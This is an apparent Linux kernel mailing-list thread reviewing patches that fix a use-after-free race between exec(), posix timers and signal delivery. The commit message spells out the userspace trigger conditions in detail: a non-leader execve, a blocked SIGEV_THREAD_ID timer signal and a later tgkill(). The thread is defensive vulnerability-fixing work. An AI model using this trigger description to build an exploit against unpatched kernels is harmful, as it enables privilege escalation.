exit_signals().  

I expect if I read through the history again that I would find that
exit_signals() used to call flush_sigqueue, and that during the addition
of posix thread signal handling flush_sigqueue was moved into
__exit_signal in release_task because knowing if the entire thread group
is dead was not available during that part of 2.5.

We should honor PF_EXITING on a task and simply stop delivering
signals to it.  Today the code goes halfway there and does not
set sig-pending after PF_EXITING is set.

There is the goofy case that we need to be able to deliver signals
to the entire process through a zombie thread (in particular a zombie
thread group leader).  That goofy case unfortunately means that except
for signals to just the thread we have to deliver signals when
PF_EXITING is set.  That goofy case also unfortunately means that
sighand_struct needs to be retained past the point where signals
are delivered.

>> Then perhaps move the posix timer disabling before de_thread?
>
> That does not work because between that and de_thread() any thread of
> the thread group can create a new posix timer unless we prevent that
> somehow in timer_create().
>
> So in any case we need some mechanism in posixtimer related code to
> handle this situation gracefully.

Which is a completely reasonable reason to focus on that mechanism,
and leave the rest alone.


I suspect the current crop of bug finding may keep coming until all of
the weird corner cases in process cleanup, exec, and signal handling are
all sorted out.  So figuring out how to make the code make better sense
in the long run appears to be a good idea.

Eric

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Thu, Aug 27 2026 at 13:43, Eric W. Biederman wrote:
> Thomas Gleixner <tglx@kernel.org> writes:
>> The safe and obvious place is to do that is _after_ setting
>> task::sighand to NULL because that ensures that no new signal can be
>> queued and nothing can touch task::pending anymore.
>
> Not really.  Using release_task (which is what is called when a zombie
> is reaped) for anything except cleaning up state that a zombie needs is
> a bit of a misfeature.  Timers should not be active in a zombie.
> Signals also should be deactivated long before then.

I agree.

>
> The obvious place to clean up task::pending i.e. signals is in
> exit_signals().
>
> I expect if I read through the history again that I would find that
> exit_signals() used to call flush_sigqueue, and that during the addition
> of posix thread signal handling flush_sigqueue was moved into
> __exit_signal in release_task because knowing if the entire thread group
> is dead was not available during that part of 2.5.
>
> We should honor PF_EXITING on a task and simply stop delivering
> signals to it.  Today the code goes halfway there and does not
> set sig-pending after PF_EXITING is set.

If flushing tsk::pending in exit_signals() is safe and stopping signals
to be queued when PF_EXITING is observed under sighand lock, then sure
that's the right thing to do. I'll look into that tomorrow.

> There is the goofy case that we need to be able to deliver signals
> to the entire process through a zombie thread (in particular a zombie
> thread group leader).  That goofy case unfortunately means that except
> for signals to just the thread we have to deliver signals when
> PF_EXITING is set.  That goofy case also unfortunately means that
> sighand_struct needs to be retained past the point where signals
> are delivered.

There's a lot of goofy stuff in this code :)

Thanks

        tglx

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Fri, Aug 28 2026 at 00:56, Thomas Gleixner wrote:
> On Thu, Aug 27 2026 at 13:43, Eric W. Biederman wrote:
>> The obvious place to clean up task::pending i.e. signals is in
>> exit_signals().
>>
>> I expect if I read through the history again that I would find that
>> exit_signals() used to call flush_sigqueue, and that during the addition
>> of posix thread signal handling flush_sigqueue was moved into
>> __exit_signal in release_task because knowing if the entire thread group
>> is dead was not available during that part of 2.5.
>>
>> We should honor PF_EXITING on a task and simply stop delivering
>> signals to it.  Today the code goes halfway there and does not
>> set sig-pending after PF_EXITING is set.
>
> If flushing tsk::pending in exit_signals() is safe and stopping signals
> to be queued when PF_EXITING is observed under sighand lock, then sure
> that's the right thing to do. I'll look into that tomorrow.

By some definition of tomorrow. :)

Something like the below?

Thanks,

        tglx
---
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -299,12 +299,13 @@ void release_task(struct task_struct *p)
 	free_pids(post.pids);
 	release_thread(p);
 	/*
-	 * This task was already removed from the process/thread/pid lists
-	 * and lock_task_sighand(p) can't succeed. Nobody else can touch
-	 * ->pending or, if group dead, signal->shared_pending. We can call
-	 * flush_sigqueue() lockless.
+	 * This task was already removed from the process/thread/pid lists and
+	 * lock_task_sighand(p) can't succeed. If it's the group leader then
+	 * flush tsk->signal->shared_pending. tsk->pending has been flushed
+	 * already in exit_signals(). Nothing else can touch
+	 * signal->shared_pending anymore, so flush_sigqueue() can be invoked
+	 * lockless.
 	 */
-	flush_sigqueue(&p->pending);
 	if (thread_group_leader(p))
 		flush_sigqueue(&p->signal->shared_pending);
 
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -1030,6 +1030,10 @@ static int __send_signal_locked(int sig,
 	lockdep_assert_held(&t->sighand->siglock);
 
 	result = TRACE_SIGNAL_IGNORED;
+
+	if (unlikely(type == PIDTYPE_PID && (t->flags & PF_EXITING)))
+		goto ret;
+
 	if (!prepare_signal(sig, t, force))
 		goto ret;
 
@@ -1990,6 +1994,9 @@ void posixtimer_send_sigqueue(struct k_i
 	if (!likely(lock_task_sighand(t, &flags)))
 		return;
 
+	if (unlikely(tmr->it_pid_type == PIDTYPE_PID && (t->flags & PF_EXITING)))
+		return;
+
 	/*
 	 * Update @tmr::sigqueue_seq for posix timer signals with sighand
 	 * locked to prevent a race against dequeue_signal().
@@ -3118,6 +3125,16 @@ static void retarget_shared_pending(stru
 	}
 }
 
+/*
+ * tsk::flags has PF_EXITING set which prevents signals to be queued for on
+ * tsk::pending. Nothing else can touch the tsk::pending anymore so it can be
+ * flushed lockless.
+ */
+static inline void flush_pending_unlocked(struct task_struct *tsk)
+{
+	flush_sigqueue(&tsk->pending);
+}
+
 void exit_signals(struct task_struct *tsk)
 {
 	int group_stop = 0;
@@ -3130,8 +3147,10 @@ void exit_signals(struct task_struct *ts
 	cgroup_threadgroup_change_begin(tsk);
 
 	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
-		tsk->flags |= PF_EXITING;
+		scoped_guard(spinlock_irq, &tsk->sighand->siglock)
+			tsk->flags |= PF_EXITING;
 		cgroup_threadgroup_change_end(tsk);
+		flush_pending_unlocked(tsk);
 		return;
 	}
 
@@ -3157,6 +3176,8 @@ void exit_signals(struct task_struct *ts
 out:
 	spin_unlock_irq(&tsk->sighand->siglock);
 
+	flush_pending_unlocked(tsk);
+
 	/*
 	 * If group stop has completed, deliver the notification.  This
 	 * should always go to the real parent of the group leader.

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Eric W. Biederman]

Thomas Gleixner <tglx@kernel.org> writes:

> On Fri, Aug 28 2026 at 00:56, Thomas Gleixner wrote:
>> On Thu, Aug 27 2026 at 13:43, Eric W. Biederman wrote:
>>> The obvious place to clean up task::pending i.e. signals is in
>>> exit_signals().
>>>
>>> I expect if I read through the history again that I would find that
>>> exit_signals() used to call flush_sigqueue, and that during the addition
>>> of posix thread signal handling flush_sigqueue was moved into
>>> __exit_signal in release_task because knowing if the entire thread group
>>> is dead was not available during that part of 2.5.
>>>
>>> We should honor PF_EXITING on a task and simply stop delivering
>>> signals to it.  Today the code goes halfway there and does not
>>> set sig-pending after PF_EXITING is set.
>>
>> If flushing tsk::pending in exit_signals() is safe and stopping signals
>> to be queued when PF_EXITING is observed under sighand lock, then sure
>> that's the right thing to do. I'll look into that tomorrow.
>
> By some definition of tomorrow. :)
>
> Something like the below?

Yes.

It all comes after
   ptrace_event(PTRACE_EVENT_EXIT, code) and
   coredump_task_exit(tsk, core_state)
so should be completely invisible to userspace.

I don't see any problems with your proposed patch.

I am pondering what it would take to move
"flush_sigqueue(&p->signal->shared_pending);"
into do_exit in the group_dead case.

Perhaps exit_signals could perform the decrement of signal->live
and return group_dead.  If so all of the work could be performed
in exit_signals().  As a follow-on change of cource.

But before I even propose something like that I have another change
in this area that I need to post.

Eric



> ---
> --- a/kernel/exit.c
> +++ b/kernel/exit.c
> @@ -299,12 +299,13 @@ void release_task(struct task_struct *p)
>  	free_pids(post.pids);
>  	release_thread(p);
>  	/*
> -	 * This task was already removed from the process/thread/pid lists
> -	 * and lock_task_sighand(p) can't succeed. Nobody else can touch
> -	 * ->pending or, if group dead, signal->shared_pending. We can call
> -	 * flush_sigqueue() lockless.
> +	 * This task was already removed from the process/thread/pid lists and
> +	 * lock_task_sighand(p) can't succeed. If it's the group leader then
> +	 * flush tsk->signal->shared_pending. tsk->pending has been flushed
> +	 * already in exit_signals(). Nothing else can touch
> +	 * signal->shared_pending anymore, so flush_sigqueue() can be invoked
> +	 * lockless.
>  	 */
> -	flush_sigqueue(&p->pending);
>  	if (thread_group_leader(p))
>  		flush_sigqueue(&p->signal->shared_pending);
>  
> --- a/kernel/signal.c
> +++ b/kernel/signal.c
> @@ -1030,6 +1030,10 @@ static int __send_signal_locked(int sig,
>  	lockdep_assert_held(&t->sighand->siglock);
>  
>  	result = TRACE_SIGNAL_IGNORED;
> +
> +	if (unlikely(type == PIDTYPE_PID && (t->flags & PF_EXITING)))
> +		goto ret;
> +
>  	if (!prepare_signal(sig, t, force))
>  		goto ret;
>  
> @@ -1990,6 +1994,9 @@ void posixtimer_send_sigqueue(struct k_i
>  	if (!likely(lock_task_sighand(t, &flags)))
>  		return;
>  
> +	if (unlikely(tmr->it_pid_type == PIDTYPE_PID && (t->flags & PF_EXITING)))
> +		return;
> +
>  	/*
>  	 * Update @tmr::sigqueue_seq for posix timer signals with sighand
>  	 * locked to prevent a race against dequeue_signal().
> @@ -3118,6 +3125,16 @@ static void retarget_shared_pending(stru
>  	}
>  }
>  
> +/*
> + * tsk::flags has PF_EXITING set which prevents signals to be queued for on
> + * tsk::pending. Nothing else can touch the tsk::pending anymore so it can be
> + * flushed lockless.
> + */
> +static inline void flush_pending_unlocked(struct task_struct *tsk)
> +{
> +	flush_sigqueue(&tsk->pending);
> +}
> +
>  void exit_signals(struct task_struct *tsk)
>  {
>  	int group_stop = 0;
> @@ -3130,8 +3147,10 @@ void exit_signals(struct task_struct *ts
>  	cgroup_threadgroup_change_begin(tsk);
>  
>  	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
> -		tsk->flags |= PF_EXITING;
> +		scoped_guard(spinlock_irq, &tsk->sighand->siglock)
> +			tsk->flags |= PF_EXITING;
>  		cgroup_threadgroup_change_end(tsk);
> +		flush_pending_unlocked(tsk);
>  		return;
>  	}
>  
> @@ -3157,6 +3176,8 @@ void exit_signals(struct task_struct *ts
>  out:
>  	spin_unlock_irq(&tsk->sighand->siglock);
>  
> +	flush_pending_unlocked(tsk);
> +
>  	/*
>  	 * If group stop has completed, deliver the notification.  This
>  	 * should always go to the real parent of the group leader.

Re: [PATCH] signal: Use list_del_init_careful() in flush_sigqueue()

[Thomas Gleixner]

On Sun, Aug 30 2026 at 17:04, Eric W. Biederman wrote:
> Thomas Gleixner <tglx@kernel.org> writes:
>> Something like the below?
>
> Yes.
>
> It all comes after
>    ptrace_event(PTRACE_EVENT_EXIT, code) and
>    coredump_task_exit(tsk, core_state)
> so should be completely invisible to userspace.
>
> I don't see any problems with your proposed patch.

Let me write a change log then.

> I am pondering what it would take to move
> "flush_sigqueue(&p->signal->shared_pending);"
> into do_exit in the group_dead case.
>
> Perhaps exit_signals could perform the decrement of signal->live
> and return group_dead.  If so all of the work could be performed
> in exit_signals().  As a follow-on change of cource.

I thought about that too, but that was looked too scary to me :)

[PATCH] signal: Prevent exec() race

[Thomas Gleixner]

Hyunwoo debugged the following KASAN UAF splat:

  BUG: KASAN: slab-use-after-free in __send_signal_locked+0xb27/0xba0
  Write of size 8 at addr ffff888007ed80c8 by task poc/79
  ...
  Call Trace:
   __send_signal_locked+0xb27/0xba0
   do_send_sig_info+0xa7/0x160
   do_send_specific+0x76/0xa0
   __x64_sys_tgkill+0x193/0x270
  ...
  Allocated by task 80:
   do_timer_create+0x1a4/0x1030
   __x64_sys_timer_create+0x145/0x190
  ...
  Freed by task 12:
   kmem_cache_free_bulk+0x1f8/0x4a0
   kvfree_rcu_bulk+0x14f/0x1c0
   kfree_rcu_work+0x128/0x1a0
  ...
  Last potentially related work creation:
   kvfree_call_rcu+0x39/0x390
   __flush_itimer_signals+0x211/0x320
   flush_itimer_signals+0x47/0x90
   begin_new_exec+0xa6b/0x28c0

It turned out that this happens with a non-leader exec() as Hyunwoo
explained:

de_thread() calls exchange_tids() before release_task(leader), so the
struct pid held by a SIGEV_THREAD_ID timer created against the leader's tid
now points to the thread which called execve(). pid_task() returns that
thread and lock_task_sighand() on it succeeds.

If the timer signal is blocked, its sigqueue stays queued on the leader's
task::pending. The next expiry of that timer can then run while
release_task() flushes the queue.

posixtimer_send_sigqueue() checks whether the sigqueue is already queued
with a plain list_empty(), which only reads list_head::next.
list_del_init() is not atomic and INIT_LIST_HEAD() stores list_head::next
before list_head::prev, so the check can pass in between. list_add_tail()
queues the entry on the task::pending of the live thread, and the
list_head::prev store from the flush then overwrites the list_head::prev
link that list_add_tail() has just set.

__flush_itimer_signals() does not undo that either. With list_head::prev
pointing at the entry itself, its list_del_init() only stores the same
values again, so the entry is not removed from the list. It is still there
after the last reference is dropped and the timer is freed by RCU, and the
list_add_tail() of a later tgkill() follows that list_head::prev into the
freed timer.

This problem is due to a recent commit which moved the sigqueue flush
out of the sighand lock held region. Before that it was properly
serialized.

Hyonwoo proposed to fix this by using list_del_init_careful(), but that
just papers over the underlying problem. After some disucssions and
various attempts to solve it, Eric pointed out that there is no reason
to flush task::pending late in release_task() and it should be done in
exit_signals() already.

As nothing can collect and deliver signals which are queued in a dying
task's pending queue, there is no reason to delay it further.

But it has to be ensured that no signals can be queued into it after that
point. exit_signals() sets PF_EXITING in task::flags, which can be used as
an indicator for this.

Cure it by:

  - Preventing signal queueing for task private signals (PIDTYPE_PID) when
    the task has PF_EXITING set in __send_signal_locked() and in
    posixtimer_send_sigqueue().

  - Protecting the unlocked setting of PF_EXITING in exit_signals() for the
    task group empty and the group exit case with sighand lock

  - Flushing task::pending signals right there.

    This can be done unlocked because PF_EXITING prevents further signals
    to be queued and there is no other code which accesses task::pending.

Fixes: fb3bbcfe344e ("exit: change the release_task() paths to call flush_sigqueue() lockless")
Reported-by: Hyunwoo Kim <imv4bel@gmail.com>
Debugged-by: Hyunwoo Kim <imv4bel@gmail.com>
Suggested-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: Thomas Gleixner <tglx@kernel.org>
Cc: stable@vger.kernel.org
Closes: https://patch.msgid.link/aok1rdkBgZsynHZB@v4bel
---
 kernel/exit.c   |   11 ++++++-----
 kernel/signal.c |   23 ++++++++++++++++++++++-
 2 files changed, 28 insertions(+), 6 deletions(-)

--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -299,12 +299,13 @@ void release_task(struct task_struct *p)
 	free_pids(post.pids);
 	release_thread(p);
 	/*
-	 * This task was already removed from the process/thread/pid lists
-	 * and lock_task_sighand(p) can't succeed. Nobody else can touch
-	 * ->pending or, if group dead, signal->shared_pending. We can call
-	 * flush_sigqueue() lockless.
+	 * This task was already removed from the process/thread/pid lists and
+	 * lock_task_sighand(p) can't succeed. If it's the group leader then
+	 * flush tsk->signal->shared_pending. tsk->pending has been flushed
+	 * already in exit_signals(). Nothing else can touch
+	 * signal->shared_pending anymore, so flush_sigqueue() can be invoked
+	 * lockless.
 	 */
-	flush_sigqueue(&p->pending);
 	if (thread_group_leader(p))
 		flush_sigqueue(&p->signal->shared_pending);
 
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -1030,6 +1030,10 @@ static int __send_signal_locked(int sig,
 	lockdep_assert_held(&t->sighand->siglock);
 
 	result = TRACE_SIGNAL_IGNORED;
+
+	if (unlikely(type == PIDTYPE_PID && (t->flags & PF_EXITING)))
+		goto ret;
+
 	if (!prepare_signal(sig, t, force))
 		goto ret;
 
@@ -1990,6 +1994,9 @@ void posixtimer_send_sigqueue(struct k_i
 	if (!likely(lock_task_sighand(t, &flags)))
 		return;
 
+	if (unlikely(tmr->it_pid_type == PIDTYPE_PID && (t->flags & PF_EXITING)))
+		return;
+
 	/*
 	 * Update @tmr::sigqueue_seq for posix timer signals with sighand
 	 * locked to prevent a race against dequeue_signal().
@@ -3118,6 +3125,16 @@ static void retarget_shared_pending(stru
 	}
 }
 
+/*
+ * tsk::flags has PF_EXITING set which prevents signals to be queued on
+ * tsk::pending. Nothing else can touch tsk::pending anymore so it can be
+ * flushed lockless.
+ */
+static inline void flush_pending_unlocked(struct task_struct *tsk)
+{
+	flush_sigqueue(&tsk->pending);
+}
+
 void exit_signals(struct task_struct *tsk)
 {
 	int group_stop = 0;
@@ -3130,8 +3147,10 @@ void exit_signals(struct task_struct *ts
 	cgroup_threadgroup_change_begin(tsk);
 
 	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
-		tsk->flags |= PF_EXITING;
+		scoped_guard(spinlock_irq, &tsk->sighand->siglock)
+			tsk->flags |= PF_EXITING;
 		cgroup_threadgroup_change_end(tsk);
+		flush_pending_unlocked(tsk);
 		return;
 	}
 
@@ -3157,6 +3176,8 @@ void exit_signals(struct task_struct *ts
 out:
 	spin_unlock_irq(&tsk->sighand->siglock);
 
+	flush_pending_unlocked(tsk);
+
 	/*
 	 * If group stop has completed, deliver the notification.  This
 	 * should always go to the real parent of the group leader.

Re: [PATCH] signal: Prevent exec() race

[David Laight]

On Mon, 31 Aug 2026 12:50:46 +0200
Thomas Gleixner <tglx@kernel.org> wrote:

> Hyunwoo debugged the following KASAN UAF splat:
> 
>   BUG: KASAN: slab-use-after-free in __send_signal_locked+0xb27/0xba0
>   Write of size 8 at addr ffff888007ed80c8 by task poc/79
>   ...
>   Call Trace:
>    __send_signal_locked+0xb27/0xba0
>    do_send_sig_info+0xa7/0x160
>    do_send_specific+0x76/0xa0
>    __x64_sys_tgkill+0x193/0x270
>   ...
>   Allocated by task 80:
>    do_timer_create+0x1a4/0x1030
>    __x64_sys_timer_create+0x145/0x190
>   ...
>   Freed by task 12:
>    kmem_cache_free_bulk+0x1f8/0x4a0
>    kvfree_rcu_bulk+0x14f/0x1c0
>    kfree_rcu_work+0x128/0x1a0
>   ...
>   Last potentially related work creation:
>    kvfree_call_rcu+0x39/0x390
>    __flush_itimer_signals+0x211/0x320
>    flush_itimer_signals+0x47/0x90
>    begin_new_exec+0xa6b/0x28c0
> 
> It turned out that this happens with a non-leader exec() as Hyunwoo
> explained:
> 
> de_thread() calls exchange_tids() before release_task(leader), so the
> struct pid held by a SIGEV_THREAD_ID timer created against the leader's tid
> now points to the thread which called execve(). pid_task() returns that
> thread and lock_task_sighand() on it succeeds.
> 
> If the timer signal is blocked, its sigqueue stays queued on the leader's
> task::pending. The next expiry of that timer can then run while
> release_task() flushes the queue.
> 
> posixtimer_send_sigqueue() checks whether the sigqueue is already queued
> with a plain list_empty(), which only reads list_head::next.
> list_del_init() is not atomic and INIT_LIST_HEAD() stores list_head::next
> before list_head::prev, so the check can pass in between. list_add_tail()
> queues the entry on the task::pending of the live thread, and the
> list_head::prev store from the flush then overwrites the list_head::prev
> link that list_add_tail() has just set.
> 
> __flush_itimer_signals() does not undo that either. With list_head::prev
> pointing at the entry itself, its list_del_init() only stores the same
> values again, so the entry is not removed from the list. It is still there
> after the last reference is dropped and the timer is freed by RCU, and the
> list_add_tail() of a later tgkill() follows that list_head::prev into the
> freed timer.
> 
> This problem is due to a recent commit which moved the sigqueue flush
> out of the sighand lock held region. Before that it was properly
> serialized.
> 
> Hyonwoo proposed to fix this by using list_del_init_careful(), but that
> just papers over the underlying problem. After some disucssions and
> various attempts to solve it, Eric pointed out that there is no reason
> to flush task::pending late in release_task() and it should be done in
> exit_signals() already.
> 
> As nothing can collect and deliver signals which are queued in a dying
> task's pending queue, there is no reason to delay it further.
> 
> But it has to be ensured that no signals can be queued into it after that
> point. exit_signals() sets PF_EXITING in task::flags, which can be used as
> an indicator for this.
> 
> Cure it by:
> 
>   - Preventing signal queueing for task private signals (PIDTYPE_PID) when
>     the task has PF_EXITING set in __send_signal_locked() and in
>     posixtimer_send_sigqueue().
> 
>   - Protecting the unlocked setting of PF_EXITING in exit_signals() for the
>     task group empty and the group exit case with sighand lock
> 
>   - Flushing task::pending signals right there.
> 
>     This can be done unlocked because PF_EXITING prevents further signals
>     to be queued and there is no other code which accesses task::pending.
> 
> Fixes: fb3bbcfe344e ("exit: change the release_task() paths to call flush_sigqueue() lockless")
> Reported-by: Hyunwoo Kim <imv4bel@gmail.com>
> Debugged-by: Hyunwoo Kim <imv4bel@gmail.com>
> Suggested-by: "Eric W. Biederman" <ebiederm@xmission.com>
> Signed-off-by: Thomas Gleixner <tglx@kernel.org>
> Cc: stable@vger.kernel.org
> Closes: https://patch.msgid.link/aok1rdkBgZsynHZB@v4bel
> ---
>  kernel/exit.c   |   11 ++++++-----
>  kernel/signal.c |   23 ++++++++++++++++++++++-
>  2 files changed, 28 insertions(+), 6 deletions(-)
> 
> --- a/kernel/exit.c
> +++ b/kernel/exit.c
> @@ -299,12 +299,13 @@ void release_task(struct task_struct *p)
>  	free_pids(post.pids);
>  	release_thread(p);
>  	/*
> -	 * This task was already removed from the process/thread/pid lists
> -	 * and lock_task_sighand(p) can't succeed. Nobody else can touch
> -	 * ->pending or, if group dead, signal->shared_pending. We can call
> -	 * flush_sigqueue() lockless.
> +	 * This task was already removed from the process/thread/pid lists and
> +	 * lock_task_sighand(p) can't succeed. If it's the group leader then
> +	 * flush tsk->signal->shared_pending. tsk->pending has been flushed
> +	 * already in exit_signals(). Nothing else can touch
> +	 * signal->shared_pending anymore, so flush_sigqueue() can be invoked
> +	 * lockless.
>  	 */
> -	flush_sigqueue(&p->pending);
>  	if (thread_group_leader(p))
>  		flush_sigqueue(&p->signal->shared_pending);
>  
> --- a/kernel/signal.c
> +++ b/kernel/signal.c
> @@ -1030,6 +1030,10 @@ static int __send_signal_locked(int sig,
>  	lockdep_assert_held(&t->sighand->siglock);
>  
>  	result = TRACE_SIGNAL_IGNORED;
> +
> +	if (unlikely(type == PIDTYPE_PID && (t->flags & PF_EXITING)))
> +		goto ret;

Is that unlikely() going do the right thing?
Pretty much the only way to avoid a branch in the 'usual' path is to test
PF_EXITING first.
So you could do:
	if (unlikely(t->flags & PF_EXITING) && type == PIDTYPE_PID)
		goto ret;
(assuming t->flags is unlikely to be a cache miss).
Or, if you can persuade the compiler not to use a branch for the ?:
	if (unlikely(t->flags & (type == PIDTYPE_PID ? PF_EXITING : 0)))
		goto ret;

David

> +
>  	if (!prepare_signal(sig, t, force))
>  		goto ret;
>  
> @@ -1990,6 +1994,9 @@ void posixtimer_send_sigqueue(struct k_i
>  	if (!likely(lock_task_sighand(t, &flags)))
>  		return;
>  
> +	if (unlikely(tmr->it_pid_type == PIDTYPE_PID && (t->flags & PF_EXITING)))
> +		return;
> +
>  	/*
>  	 * Update @tmr::sigqueue_seq for posix timer signals with sighand
>  	 * locked to prevent a race against dequeue_signal().
> @@ -3118,6 +3125,16 @@ static void retarget_shared_pending(stru
>  	}
>  }
>  
> +/*
> + * tsk::flags has PF_EXITING set which prevents signals to be queued on
> + * tsk::pending. Nothing else can touch tsk::pending anymore so it can be
> + * flushed lockless.
> + */
> +static inline void flush_pending_unlocked(struct task_struct *tsk)
> +{
> +	flush_sigqueue(&tsk->pending);
> +}
> +
>  void exit_signals(struct task_struct *tsk)
>  {
>  	int group_stop = 0;
> @@ -3130,8 +3147,10 @@ void exit_signals(struct task_struct *ts
>  	cgroup_threadgroup_change_begin(tsk);
>  
>  	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
> -		tsk->flags |= PF_EXITING;
> +		scoped_guard(spinlock_irq, &tsk->sighand->siglock)
> +			tsk->flags |= PF_EXITING;
>  		cgroup_threadgroup_change_end(tsk);
> +		flush_pending_unlocked(tsk);
>  		return;
>  	}
>  
> @@ -3157,6 +3176,8 @@ void exit_signals(struct task_struct *ts
>  out:
>  	spin_unlock_irq(&tsk->sighand->siglock);
>  
> +	flush_pending_unlocked(tsk);
> +
>  	/*
>  	 * If group stop has completed, deliver the notification.  This
>  	 * should always go to the real parent of the group leader.
> 

Re: [PATCH] signal: Prevent exec() race

[Oleg Nesterov]

On 08/31, Thomas Gleixner wrote:
>
> +static inline void flush_pending_unlocked(struct task_struct *tsk)
> +{
> +	flush_sigqueue(&tsk->pending);
> +}
> +
>  void exit_signals(struct task_struct *tsk)
>  {
>  	int group_stop = 0;
> @@ -3130,8 +3147,10 @@ void exit_signals(struct task_struct *ts
>  	cgroup_threadgroup_change_begin(tsk);
>
>  	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
> -		tsk->flags |= PF_EXITING;
> +		scoped_guard(spinlock_irq, &tsk->sighand->siglock)
> +			tsk->flags |= PF_EXITING;
>  		cgroup_threadgroup_change_end(tsk);
> +		flush_pending_unlocked(tsk);

Hmm... the exiting thread is still visible to for_each_thread().
Can't this flush_pending_unlocked() race with (say) do_sigaction() ?

Oleg.

Re: [PATCH] signal: Prevent exec() race

[Frederic Weisbecker]

Le Mon, Aug 31, 2026 at 12:50:46PM +0200, Thomas Gleixner a écrit :
> Hyunwoo debugged the following KASAN UAF splat:
> 
>   BUG: KASAN: slab-use-after-free in __send_signal_locked+0xb27/0xba0
>   Write of size 8 at addr ffff888007ed80c8 by task poc/79
>   ...
>   Call Trace:
>    __send_signal_locked+0xb27/0xba0
>    do_send_sig_info+0xa7/0x160
>    do_send_specific+0x76/0xa0
>    __x64_sys_tgkill+0x193/0x270
>   ...
>   Allocated by task 80:
>    do_timer_create+0x1a4/0x1030
>    __x64_sys_timer_create+0x145/0x190
>   ...
>   Freed by task 12:
>    kmem_cache_free_bulk+0x1f8/0x4a0
>    kvfree_rcu_bulk+0x14f/0x1c0
>    kfree_rcu_work+0x128/0x1a0
>   ...
>   Last potentially related work creation:
>    kvfree_call_rcu+0x39/0x390
>    __flush_itimer_signals+0x211/0x320
>    flush_itimer_signals+0x47/0x90
>    begin_new_exec+0xa6b/0x28c0
> 
> It turned out that this happens with a non-leader exec() as Hyunwoo
> explained:
> 
> de_thread() calls exchange_tids() before release_task(leader), so the
> struct pid held by a SIGEV_THREAD_ID timer created against the leader's tid
> now points to the thread which called execve(). pid_task() returns that
> thread and lock_task_sighand() on it succeeds.
> 
> If the timer signal is blocked, its sigqueue stays queued on the leader's
> task::pending. The next expiry of that timer can then run while
> release_task() flushes the queue.
> 
> posixtimer_send_sigqueue() checks whether the sigqueue is already queued
> with a plain list_empty(), which only reads list_head::next.
> list_del_init() is not atomic and INIT_LIST_HEAD() stores list_head::next
> before list_head::prev, so the check can pass in between. list_add_tail()
> queues the entry on the task::pending of the live thread, and the
> list_head::prev store from the flush then overwrites the list_head::prev
> link that list_add_tail() has just set.
> 
> __flush_itimer_signals() does not undo that either. With list_head::prev
> pointing at the entry itself, its list_del_init() only stores the same
> values again, so the entry is not removed from the list. It is still there
> after the last reference is dropped and the timer is freed by RCU, and the
> list_add_tail() of a later tgkill() follows that list_head::prev into the
> freed timer.
> 
> This problem is due to a recent commit which moved the sigqueue flush
> out of the sighand lock held region. Before that it was properly
> serialized.
> 
> Hyonwoo proposed to fix this by using list_del_init_careful(), but that
> just papers over the underlying problem. After some disucssions and
> various attempts to solve it, Eric pointed out that there is no reason
> to flush task::pending late in release_task() and it should be done in
> exit_signals() already.
> 
> As nothing can collect and deliver signals which are queued in a dying
> task's pending queue, there is no reason to delay it further.
> 
> But it has to be ensured that no signals can be queued into it after that
> point. exit_signals() sets PF_EXITING in task::flags, which can be used as
> an indicator for this.
> 
> Cure it by:
> 
>   - Preventing signal queueing for task private signals (PIDTYPE_PID) when
>     the task has PF_EXITING set in __send_signal_locked() and in
>     posixtimer_send_sigqueue().
> 
>   - Protecting the unlocked setting of PF_EXITING in exit_signals() for the
>     task group empty and the group exit case with sighand lock
> 
>   - Flushing task::pending signals right there.
> 
>     This can be done unlocked because PF_EXITING prevents further signals
>     to be queued and there is no other code which accesses task::pending.
> 
> Fixes: fb3bbcfe344e ("exit: change the release_task() paths to call flush_sigqueue() lockless")
> Reported-by: Hyunwoo Kim <imv4bel@gmail.com>
> Debugged-by: Hyunwoo Kim <imv4bel@gmail.com>
> Suggested-by: "Eric W. Biederman" <ebiederm@xmission.com>
> Signed-off-by: Thomas Gleixner <tglx@kernel.org>
> Cc: stable@vger.kernel.org
> Closes: https://patch.msgid.link/aok1rdkBgZsynHZB@v4bel
> ---
>  kernel/exit.c   |   11 ++++++-----
>  kernel/signal.c |   23 ++++++++++++++++++++++-
>  2 files changed, 28 insertions(+), 6 deletions(-)
> 
> --- a/kernel/exit.c
> +++ b/kernel/exit.c
> @@ -299,12 +299,13 @@ void release_task(struct task_struct *p)
>  	free_pids(post.pids);
>  	release_thread(p);
>  	/*
> -	 * This task was already removed from the process/thread/pid lists
> -	 * and lock_task_sighand(p) can't succeed. Nobody else can touch
> -	 * ->pending or, if group dead, signal->shared_pending. We can call
> -	 * flush_sigqueue() lockless.
> +	 * This task was already removed from the process/thread/pid lists and
> +	 * lock_task_sighand(p) can't succeed. If it's the group leader then
> +	 * flush tsk->signal->shared_pending. tsk->pending has been flushed
> +	 * already in exit_signals(). Nothing else can touch
> +	 * signal->shared_pending anymore, so flush_sigqueue() can be invoked
> +	 * lockless.
>  	 */
> -	flush_sigqueue(&p->pending);
>  	if (thread_group_leader(p))
>  		flush_sigqueue(&p->signal->shared_pending);
>  
> --- a/kernel/signal.c
> +++ b/kernel/signal.c
> @@ -1030,6 +1030,10 @@ static int __send_signal_locked(int sig,
>  	lockdep_assert_held(&t->sighand->siglock);
>  
>  	result = TRACE_SIGNAL_IGNORED;
> +
> +	if (unlikely(type == PIDTYPE_PID && (t->flags & PF_EXITING)))
> +		goto ret;
> +
>  	if (!prepare_signal(sig, t, force))
>  		goto ret;
>  
> @@ -1990,6 +1994,9 @@ void posixtimer_send_sigqueue(struct k_i
>  	if (!likely(lock_task_sighand(t, &flags)))
>  		return;
>  
> +	if (unlikely(tmr->it_pid_type == PIDTYPE_PID && (t->flags & PF_EXITING)))
